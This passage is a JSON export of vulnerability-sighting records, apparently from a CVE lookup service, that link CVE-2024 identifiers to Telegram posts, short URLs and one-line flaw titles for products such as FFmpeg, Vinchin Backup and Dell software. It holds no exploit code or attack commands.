"https://ift.tt/YdU51lJ\nCVE-2024-22988", "creation_timestamp": "2024-02-24T00:26:38.000000Z"}, {"uuid": "f452ff50-4fcd-491c-8fdb-876b0012af5e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22097", "type": "seen", "source": "https://t.me/ctinow/188748", "content": "https://ift.tt/oLlV1nX\nCVE-2024-22097", "creation_timestamp": "2024-02-20T17:25:30.000000Z"}, {"uuid": "241bbd05-fc78-4b84-88c7-b995a0b437b5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22250", "type": "seen", "source": "https://t.me/ctinow/188848", "content": "https://ift.tt/MwrL5aX\nCVE-2024-22250", "creation_timestamp": "2024-02-20T19:27:18.000000Z"}, {"uuid": "59897133-0066-4165-b564-ce24f174da3c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22245", "type": "seen", "source": "https://t.me/ctinow/188847", "content": "https://ift.tt/h2o7c63\nCVE-2024-22245", "creation_timestamp": "2024-02-20T19:27:17.000000Z"}, {"uuid": "0d652c98-80bc-4a60-a3cd-c49e2d3c1ce5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22054", "type": "seen", "source": "https://t.me/ctinow/188846", "content": "https://ift.tt/PL9DgBN\nCVE-2024-22054", "creation_timestamp": "2024-02-20T19:27:16.000000Z"}, {"uuid": "89ad626b-2219-4f37-8158-6de44aace532", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22234", "type": "seen", "source": "https://t.me/ctinow/188210", "content": "https://ift.tt/MXekWIG\nCVE-2024-22234", "creation_timestamp": "2024-02-20T08:22:00.000000Z"}, {"uuid": "6422fdda-54a0-4831-8f76-56fb7c6edd60", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22917", "type": "seen", "source": "https://t.me/ctinow/193956", "content": "https://ift.tt/V2jakSE\nCVE-2024-22917", "creation_timestamp": "2024-02-27T03:31:30.000000Z"}, {"uuid": "610964c7-a1f1-4834-8166-95d2c12fce0d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22862", "type": "seen", "source": "https://t.me/ctinow/189268", "content": "https://ift.tt/KUBY8Ik\nCVE-2024-22862 | FFmpeg up to 6.0 JJPEG XL Parser integer overflow", "creation_timestamp": "2024-02-21T07:06:26.000000Z"}, {"uuid": "55fd0227-f3f6-44a0-8ed3-78b2a625bf0e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22220", "type": "seen", "source": "https://t.me/ctinow/189813", "content": "https://ift.tt/9QbkvGV\nCVE-2024-22220", "creation_timestamp": "2024-02-21T17:31:32.000000Z"}, {"uuid": "3d796e20-2bb3-470d-9a0f-284e0959337a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22778", "type": "seen", "source": "https://t.me/ctinow/189740", "content": "https://ift.tt/g3oL9TA\nCVE-2024-22778", "creation_timestamp": "2024-02-21T16:31:28.000000Z"}, {"uuid": "cc4c33da-687e-473c-b1ba-b8d487270ef0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22235", "type": "seen", "source": "https://t.me/ctinow/189246", "content": "https://ift.tt/1rYf3CZ\nCVE-2024-22235", "creation_timestamp": "2024-02-21T06:21:34.000000Z"}, {"uuid": "34fce71a-4a66-41fd-b53b-031fb4c5b56d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22220", "type": "seen", "source": "https://t.me/ctinow/189799", "content": "https://ift.tt/9QbkvGV\nCVE-2024-22220", "creation_timestamp": "2024-02-21T17:22:13.000000Z"}, {"uuid": "518e3eb6-f2b4-468b-94df-6b1099b71ffb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22235", "type": "seen", "source": "https://t.me/ctinow/189250", "content": "https://ift.tt/1rYf3CZ\nCVE-2024-22235", "creation_timestamp": "2024-02-21T06:26:46.000000Z"}, {"uuid": "4d851c59-00f0-4fb2-bdbd-e9c8914b42f7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22543", "type": "seen", "source": "https://t.me/ctinow/193919", "content": "https://ift.tt/pMORZYN\nCVE-2024-22543", "creation_timestamp": "2024-02-27T02:21:46.000000Z"}, {"uuid": "c05ae441-0913-437e-939c-1705a1fcd530", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22861", "type": "seen", "source": "https://t.me/ctinow/189288", "content": "https://ift.tt/uB9bJ6P\nCVE-2024-22861 | FFmpeg up to 6.0 avcodec integer overflow", "creation_timestamp": "2024-02-21T07:36:32.000000Z"}, {"uuid": "58d0b96e-90f3-4a65-9144-d5991e5b48ee", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22860", "type": "seen", "source": "https://t.me/ctinow/189287", "content": "https://ift.tt/FzCLBd4\nCVE-2024-22860 | FFmpeg up to 6.0 JPEG XL Animation Decoder jpegxl_anim_read_packet integer overflow", "creation_timestamp": "2024-02-21T07:36:31.000000Z"}, {"uuid": "6df1a82f-ecbe-47c3-97c1-5537230ced0e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22234", "type": "seen", "source": "https://t.me/ctinow/188908", "content": "https://ift.tt/eLdX7qz\nCVE-2024-22234", "creation_timestamp": "2024-02-20T20:57:30.000000Z"}, {"uuid": "42cd65af-5613-4d7c-9afc-f2b03bcfbec5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22250", "type": "seen", "source": "https://t.me/ctinow/188864", "content": "https://ift.tt/MwrL5aX\nCVE-2024-22250", "creation_timestamp": "2024-02-20T19:32:06.000000Z"}, {"uuid": "2156dfa2-13ce-46f5-afbd-a275c27e40df", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22245", "type": "seen", "source": "https://t.me/ctinow/188863", "content": "https://ift.tt/h2o7c63\nCVE-2024-22245", "creation_timestamp": "2024-02-20T19:32:04.000000Z"}, {"uuid": "333ce754-1f02-413f-b914-0f1c2b0c862e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22054", "type": "seen", "source": "https://t.me/ctinow/188862", "content": "https://ift.tt/PL9DgBN\nCVE-2024-22054", "creation_timestamp": "2024-02-20T19:31:59.000000Z"}, {"uuid": "d9d940aa-2551-4463-af06-82dd3046eea3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22097", "type": "seen", "source": "https://t.me/ctinow/188759", "content": "https://ift.tt/oLlV1nX\nCVE-2024-22097", "creation_timestamp": "2024-02-20T17:25:46.000000Z"}, {"uuid": "bcc94f47-973e-4645-b31b-e8eef909ca81", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22201", "type": "seen", "source": "https://t.me/ctinow/193732", "content": "https://ift.tt/NVjaKE7\nCVE-2024-22201", "creation_timestamp": "2024-02-26T20:36:34.000000Z"}, {"uuid": "9c6cdd6d-47dd-4e6f-98e7-1885af452b55", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22371", "type": "seen", "source": "https://t.me/ctinow/193292", "content": "https://ift.tt/2LWJh8k\nCVE-2024-22371", "creation_timestamp": "2024-02-26T13:02:12.000000Z"}, {"uuid": "751f5a26-3b05-40aa-848c-a8ce1093073b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22369", "type": "seen", "source": "https://t.me/ctinow/188218", "content": "https://ift.tt/sEQSVJc\nCVE-2024-22369 | Apache Camel up to 3.21.3/3.22.0/4.0.3 Camel-SQL deserialization", "creation_timestamp": "2024-02-20T08:42:04.000000Z"}, {"uuid": "270de619-b053-4df1-8810-69a81185316f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22234", "type": "seen", "source": "https://t.me/ctinow/188213", "content": "https://ift.tt/MXekWIG\nCVE-2024-22234", "creation_timestamp": "2024-02-20T08:22:02.000000Z"}, {"uuid": "166f8c8f-9406-4764-a492-eacf6d5eed75", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22544", "type": "seen", "source": "https://t.me/ctinow/193920", "content": "https://ift.tt/iKM7rAs\nCVE-2024-22544", "creation_timestamp": "2024-02-27T02:21:47.000000Z"}, {"uuid": "8e407fed-3eb8-4369-be97-8653dd423bd6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22927", "type": "seen", "source": "https://t.me/ctinow/192618", "content": "https://ift.tt/8vM5FkA\nCVE-2024-22927 | EyouCMS 1.6.5 URL func cross site scripting (Issue 57)", "creation_timestamp": "2024-02-24T15:16:46.000000Z"}, {"uuid": "8751fba7-f2fe-4ff4-9205-94ef5bc27956", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22851", "type": "seen", "source": "https://t.me/ctinow/192780", "content": "https://ift.tt/FlAxajG\nCVE-2024-22851 | LiveConfig up to 2.5.1 Request /static/ path traversal", "creation_timestamp": "2024-02-25T09:11:23.000000Z"}, {"uuid": "f308c71c-0f14-4d5c-8872-85087b47db0e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22551", "type": "seen", "source": "https://t.me/ctinow/187901", "content": "https://ift.tt/cb7PsoJ\nCVE-2024-22551 | WhatACart 2.0.7 /site/default/search cross site scripting (ID 176314)", "creation_timestamp": "2024-02-19T20:26:36.000000Z"}, {"uuid": "7ac9d21d-0d85-4972-88c7-27f50d8d7079", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22108", "type": "seen", "source": "https://t.me/ctinow/192802", "content": "https://ift.tt/aCizn6o\nCVE-2024-22108 | GTB Central Console 15.17.1-30814.NG CCApi.class.php sql injection", "creation_timestamp": "2024-02-25T09:41:54.000000Z"}, {"uuid": "8eaa3409-1e46-4776-b8a1-99bb92b1b683", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22019", "type": "seen", "source": "https://t.me/ctinow/188075", "content": "https://ift.tt/mZAVQrM\nCVE-2024-22019", "creation_timestamp": "2024-02-20T03:31:52.000000Z"}, {"uuid": "61135b23-1031-417c-9e8e-d0a0c7a9873a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22533", "type": "seen", "source": "https://t.me/ctinow/192585", "content": "https://ift.tt/jtbEplI\nCVE-2024-22533 | Beetl up to 3.15.11 Template injection", "creation_timestamp": "2024-02-24T13:46:24.000000Z"}, {"uuid": "d645080f-7a7c-415a-a8d9-451e78753bd2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22779", "type": "seen", "source": "https://t.me/ctinow/192584", "content": "https://ift.tt/1HMxTgt\nCVE-2024-22779 | Kihron ServerRPExposer up to 1.0.2 ServerResourcePackProviderMixin.java loadServerPack path traversal", "creation_timestamp": "2024-02-24T13:46:23.000000Z"}, {"uuid": "ba517b4e-37bf-4ce3-9e8c-6b26c6f830de", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22107", "type": "seen", "source": "https://t.me/ctinow/192801", "content": "https://ift.tt/xNWXPKg\nCVE-2024-22107 | GTB Central Console 15.17.1-30814.NG SystemSettingsController.php command injection", "creation_timestamp": "2024-02-25T09:41:53.000000Z"}, {"uuid": "f80b98bd-4f7a-4f2a-84f8-29d86a94175a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22901", "type": "seen", "source": "https://t.me/ctinow/192602", "content": "https://ift.tt/heutL80\nCVE-2024-22901 | Vinchin Backup & Recovery 7.2 MySQL default credentials", "creation_timestamp": "2024-02-24T14:47:01.000000Z"}, {"uuid": "729de596-8a80-4e21-972a-eadd5168f4bf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22988", "type": "seen", "source": "https://t.me/ctinow/192330", "content": "https://ift.tt/YdU51lJ\nCVE-2024-22988", "creation_timestamp": "2024-02-24T00:26:33.000000Z"}, {"uuid": "cef7d52f-648e-4bdb-8e16-3c3b136e5b4c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22319", "type": "seen", "source": "https://t.me/ctinow/192554", "content": "https://ift.tt/XRVtBE9\nCVE-2024-22319 | IBM Operational Decision Manager up to 8.12.0.1 Request ldap injection (XFDB-279145)", "creation_timestamp": "2024-02-24T12:41:34.000000Z"}, {"uuid": "a568c3b8-01fe-47a7-ac45-36ab52b0e010", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22320", "type": "seen", "source": "https://t.me/ctinow/192553", "content": "https://ift.tt/YNr9A0f\nCVE-2024-22320 | IBM Operational Decision Manager up to 8.12.0.1 Request deserialization (XFDB-279146)", "creation_timestamp": "2024-02-24T12:41:33.000000Z"}, {"uuid": "7a5a9c69-39a5-4721-a428-2a52b347464f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22903", "type": "seen", "source": "https://t.me/ctinow/192592", "content": "https://ift.tt/W8RTQLS\nCVE-2024-22903 | Vinchin Backup & Recovery 7.2 deleteUpdateAPK command injection", "creation_timestamp": "2024-02-24T14:16:30.000000Z"}, {"uuid": "4c8531f4-8a89-4604-811c-62f1f57a0219", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22900", "type": "seen", "source": "https://t.me/ctinow/192591", "content": "https://ift.tt/MJXc6bt\nCVE-2024-22900 | Vinchin Backup & Recovery 7.2 setNetworkCardInfo command injection", "creation_timestamp": "2024-02-24T14:16:29.000000Z"}, {"uuid": "5c8a38c4-27f5-4796-ae18-5d222ebf46b7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22899", "type": "seen", "source": "https://t.me/ctinow/192586", "content": "https://ift.tt/bxaiLFc\nCVE-2024-22899 | Vinchin Backup & Recovery 7.2 syncNtpTime Privilege Escalation", "creation_timestamp": "2024-02-24T13:46:25.000000Z"}, {"uuid": "8e2e1012-4399-4bb7-ba51-5d2856503064", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22449", "type": "seen", "source": "https://t.me/ctinow/192442", "content": "https://ift.tt/RYhwHWU\nCVE-2024-22449 | Dell PowerScale OneFS up to 9.6.0.x missing authentication (dsa-2024-028)", "creation_timestamp": "2024-02-24T06:41:57.000000Z"}, {"uuid": "832aca1e-b368-4e4d-bc5d-21b32bbc42cb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22243", "type": "seen", "source": "https://t.me/ctinow/192241", "content": "https://ift.tt/SvoJYBt\nCVE-2024-22243", "creation_timestamp": "2024-02-23T22:41:19.000000Z"}, {"uuid": "6713e9f4-c7cd-479e-84b4-4fe590214391", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22433", "type": "seen", "source": "https://t.me/ctinow/192519", "content": "https://ift.tt/pzKBfts\nCVE-2024-22433 | Dell Data Protection Search up to 19.6.3 LdapSettings.get_ldap_info file information disclosure (dsa-2024-063)", "creation_timestamp": "2024-02-24T10:11:15.000000Z"}, {"uuid": "ed95cca1-f31b-43c8-9af6-d1e3a6d6848a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22148", "type": "seen", "source": "https://t.me/ctinow/192455", "content": "https://ift.tt/atsSfPH\nCVE-2024-22148 | WP Smart Editor JoomUnited Plugin up to 1.3.3 on WordPress cross site scripting", "creation_timestamp": "2024-02-24T07:36:57.000000Z"}, {"uuid": "4c4d9033-8af4-49c9-91d7-16d703e60759", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22395", "type": "seen", "source": "https://t.me/ctinow/192368", "content": "https://ift.tt/UYDWoCn\nCVE-2024-22395", "creation_timestamp": "2024-02-24T01:26:30.000000Z"}, {"uuid": "3dc258ee-a4c0-4434-9baf-e3847a6638a1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22395", "type": "seen", "source": "https://t.me/ctinow/192367", "content": "https://ift.tt/UYDWoCn\nCVE-2024-22395", "creation_timestamp": "2024-02-24T01:26:29.000000Z"}, {"uuid": "ea910b51-447a-4b38-864c-819c3e3b4653", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22729", "type": "seen", "source": "https://t.me/ctinow/187269", "content": "https://ift.tt/cGe89Uz\nCVE-2024-22729 | Netis MW5360 1.0.1.3031 Login Page password command injection", "creation_timestamp": "2024-02-18T15:11:57.000000Z"}, {"uuid": "e4808bcf-b357-460b-8afc-39264eb6b226", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22667", "type": "seen", "source": "https://t.me/ctinow/192009", "content": "https://ift.tt/0MrYAQi\nCVE-2024-22667 Vim Vulnerability in NetApp Products", "creation_timestamp": "2024-02-23T18:32:10.000000Z"}, {"uuid": "b6a1006a-cd23-4d45-a087-0a166270fdf9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22720", "type": "seen", "source": "https://t.me/ctinow/187182", "content": "https://ift.tt/vBJCzeI\nCVE-2024-22720 | Kanboard 1.2.34 Group Management cross site scripting", "creation_timestamp": "2024-02-18T09:11:53.000000Z"}, {"uuid": "06892623-8f24-45cb-8fe5-e65df27c33b2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22725", "type": "seen", "source": "https://t.me/ctinow/187177", "content": "https://ift.tt/UONhae8\nCVE-2024-22725 | Orthanc up to 1.12.1 Error Report cross site scripting", "creation_timestamp": "2024-02-18T08:41:14.000000Z"}, {"uuid": "69ec5825-e96a-4520-ad25-8af468db9d23", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22776", "type": "seen", "source": "https://t.me/ctinow/191906", "content": "https://ift.tt/3f2XMVu\nCVE-2024-22776", "creation_timestamp": "2024-02-23T16:41:45.000000Z"}, {"uuid": "a410ab8d-788e-4d8f-87fa-5ee565135b65", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22776", "type": "seen", "source": "https://t.me/ctinow/191882", "content": "https://ift.tt/3f2XMVu\nCVE-2024-22776", "creation_timestamp": "2024-02-23T16:32:06.000000Z"}, {"uuid": "e3c39b36-c8df-45f8-a17a-3233b8e8f31b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22779", "type": "seen", "source": "https://t.me/ctinow/182462", "content": "https://ift.tt/xi1bBoP\nCVE-2024-22779 Exploit", "creation_timestamp": "2024-02-10T08:16:26.000000Z"}, {"uuid": "894b53d6-e0ad-477f-92a7-c818d56a0b90", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22562", "type": "seen", "source": "https://t.me/ctinow/185515", "content": "https://ift.tt/ldTfiWh\nCVE-2024-22562 | SWFTools 0.9.2 swftools/lib/q.c dict_foreach_keyvalue stack-based overflow (Issue 210)", "creation_timestamp": "2024-02-15T13:51:27.000000Z"}, {"uuid": "fc77d172-afd7-4139-aa68-5c0b5b82dd2c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22920", "type": "seen", "source": "https://t.me/ctinow/185495", "content": "https://ift.tt/ifMZlNu\nCVE-2024-22920 | SWFTools 0.9.2 compile.c bufferWriteData use after free (Issue 211)", "creation_timestamp": "2024-02-15T13:21:49.000000Z"}, {"uuid": "e8b74e4e-f85b-4484-ae9e-76b8ef27b37b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22407", "type": "seen", "source": "https://t.me/ctinow/182584", "content": "https://ift.tt/9ap3tes\nCVE-2024-22407 | Shopware up to 6.5.7.3 access control (GHSA-3867-jc5c-66qf)", "creation_timestamp": "2024-02-10T15:46:15.000000Z"}, {"uuid": "3b4bb67f-e41d-4cc1-93a4-1058a1ba29a8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22369", "type": "seen", "source": "https://t.me/ctinow/188144", "content": "https://ift.tt/gJabLrS\nCVE-2024-22369", "creation_timestamp": "2024-02-20T06:31:43.000000Z"}, {"uuid": "3f7039eb-f9ef-4b69-8a69-ec59fcd84c4d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22638", "type": "seen", "source": "https://t.me/ctinow/187319", "content": "https://ift.tt/zuAiQ9s\nCVE-2024-22638 | liveSite 2019.1 edit_designer_region.php Privilege Escalation (ID 176420)", "creation_timestamp": "2024-02-18T18:11:19.000000Z"}, {"uuid": "4b57ec6b-b3df-484f-a3a7-315932dc30a3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22877", "type": "seen", "source": "https://t.me/ctinow/185432", "content": "https://ift.tt/k6n4sMi\nCVE-2024-22877 | StrangeBee TheHive up to 5.2.8 HTML Report cross site scripting (SB-SEC-ADV-2023-001)", "creation_timestamp": "2024-02-15T11:51:03.000000Z"}, {"uuid": "c7f4cd6c-b9c8-42ae-a3fe-ec3b2ca57131", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22876", "type": "seen", "source": "https://t.me/ctinow/185417", "content": "https://ift.tt/5YSHvh0\nCVE-2024-22876 | StrangeBee TheHive up to 5.1.9/5.2.8 Cache Attachment cross site scripting (SB-SEC-ADV-2023-002)", "creation_timestamp": "2024-02-15T11:21:19.000000Z"}, {"uuid": "9407d0fd-dca2-4d31-b87a-bd58bd0df5f5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22533", "type": "seen", "source": "https://t.me/ctinow/182461", "content": "https://ift.tt/B1oTKFH\nCVE-2024-22533 Exploit", "creation_timestamp": "2024-02-10T08:16:25.000000Z"}, {"uuid": "32ad73d4-bbe3-49ff-b218-2d15715b139a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22432", "type": "seen", "source": "https://t.me/ctinow/187277", "content": "https://ift.tt/CmELZJa\nCVE-2024-22432 | Dell NetWorker Module for Databases and Applications up to 19.9.0.3 Database Backup credentials storage (dsa-2024-059)", "creation_timestamp": "2024-02-18T15:41:17.000000Z"}, {"uuid": "e326aae7-8800-4f00-94a7-d13441241c55", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22651", "type": "seen", "source": "https://t.me/ctinow/187175", "content": "https://ift.tt/7R1oPG3\nCVE-2024-22651 | D-Link DIR-815 1.04 ssdpcgi_main command injection", "creation_timestamp": "2024-02-18T08:41:12.000000Z"}, {"uuid": "e29ced3b-8f18-494e-a2cd-0bc290cbe1ea", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22336", "type": "seen", "source": "https://t.me/ctinow/186983", "content": "https://ift.tt/gAL2nHj\nCVE-2024-22336", "creation_timestamp": "2024-02-17T17:26:36.000000Z"}, {"uuid": "55d17c1d-15b4-4798-a8fe-53be6016ef1b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22335", "type": "seen", "source": "https://t.me/ctinow/186982", "content": "https://ift.tt/3yvFImb\nCVE-2024-22335", "creation_timestamp": "2024-02-17T17:26:34.000000Z"}, {"uuid": "de5e669f-dc5c-41c5-b755-2f707f183060", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22107", "type": "seen", "source": "https://t.me/ctinow/182318", "content": "https://ift.tt/ctomIyz\nCVE-2024-22107 Exploit", "creation_timestamp": "2024-02-09T23:16:30.000000Z"}, {"uuid": "558c2769-7ce6-4ad5-86f8-94664d66f1ba", "vulnerability_lookup_origin": 